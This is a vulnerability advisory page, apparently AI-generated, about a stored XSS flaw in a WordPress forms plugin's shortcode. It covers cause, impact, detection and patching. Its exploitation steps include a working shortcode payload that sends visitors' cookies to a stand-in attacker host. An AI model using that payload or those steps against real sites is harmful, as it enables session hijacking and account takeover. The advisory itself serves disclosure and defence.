CVE-2026-1244
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1244 is a Stored Cross-Site Scripting (XSS) vulnerability in the Forms Bridge – Infinite integrations WordPress plugin, affecting all versions up to and including 4.2.5. The flaw resides in the financoop_campaign shortcode's id attribute, where insufficient input sanitization and output escaping in the forms_bridge_financoop_shortcode_error function allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on January 28, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The vulnerable code path is in forms_bridge_financoop_shortcode_error within the financoop/shortcodes.php file, where the user-supplied id parameter of the [financoop_campaign] shortcode is neither sanitized on input nor escaped on output before being rendered in the page HTML. An attacker with at least Contributor-level WordPress access can embed a malicious shortcode containing a JavaScript payload in a post or page; the script executes in the browser of any user who subsequently views that content (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an authenticated attacker to persistently inject malicious JavaScript into WordPress pages, which executes in the context of any visitor's browser — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), and defacement of site content. The CVSS scope is marked as Changed, indicating the impact extends beyond the vulnerable component to affect other users' browsers (Wordfence).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1244 as of the available data. The EPSS score is approximately 0.03%, indicating a low probability of near-term exploitation. The vulnerability requires authenticated access at the Contributor level, which somewhat limits the attack surface. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify a WordPress site running the Forms Bridge – Infinite integrations plugin at version 4.2.5 or earlier (e.g., by checking the plugin readme or /wp-content/plugins/forms-bridge/ path).
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Craft malicious shortcode: Create or edit a post/page and insert a shortcode payload such as [financoop_campaign id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish or save the content: Submit the post/page (as a draft or published, depending on site configuration). The unsanitized id value is stored in the database.
  5. Trigger execution: When any user (including an administrator) visits the injected page, the stored JavaScript payload executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress database or audit logs showing insertion of [financoop_campaign id="..."] shortcodes containing HTML tags or JavaScript (<script>, onerror=, onload=, etc.) by Contributor-level users.
  • File System: Unexpected modifications to forms-bridge/addons/financoop/shortcodes.php or other plugin files that may indicate post-exploitation tampering.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing the financoop_campaign shortcode — potentially visible in web proxy or WAF logs.
  • Database: Entries in the wp_posts table containing [financoop_campaign id= with embedded script tags or encoded JavaScript payloads.

Mitigation and workarounds

Update the Forms Bridge – Infinite integrations plugin to a version beyond 4.2.5 that includes the fix for this vulnerability. The patch was introduced in changeset 3446693 on the WordPress plugin repository (WordPress Trac Changeset). As an interim workaround, restrict Contributor-level user registration and review existing Contributor accounts for suspicious shortcode usage. Site administrators should also consider deploying a Web Application Firewall (WAF) with XSS filtering rules to reduce exposure while patching.

Community reactions

Wordfence published the vulnerability in their weekly WordPress vulnerability report covering January 26 – February 1, 2026, and included it in their threat intelligence feed (Wordfence Blog). Spanish national cybersecurity agencies INCIBE-CERT and CCN-CERT also issued early-warning advisories for the vulnerability (INCIBE, CCN-CERT). Community coverage was otherwise limited, consistent with the medium severity and low EPSS score of the vulnerability.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-16974MEDIUM6.4
  • kirki
NoYesAug 11, 2026
CVE-2026-14549NONEN/A
  • lingotek-translation
NoNoAug 11, 2026
CVE-2026-14548NONEN/A
  • lingotek-translation
NoNoAug 11, 2026
CVE-2026-19089NONEN/A
  • product-input-fields-for-woocommerce
NoYesAug 10, 2026
CVE-2026-19077NONEN/A
  • copy-delete-posts
NoYesAug 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management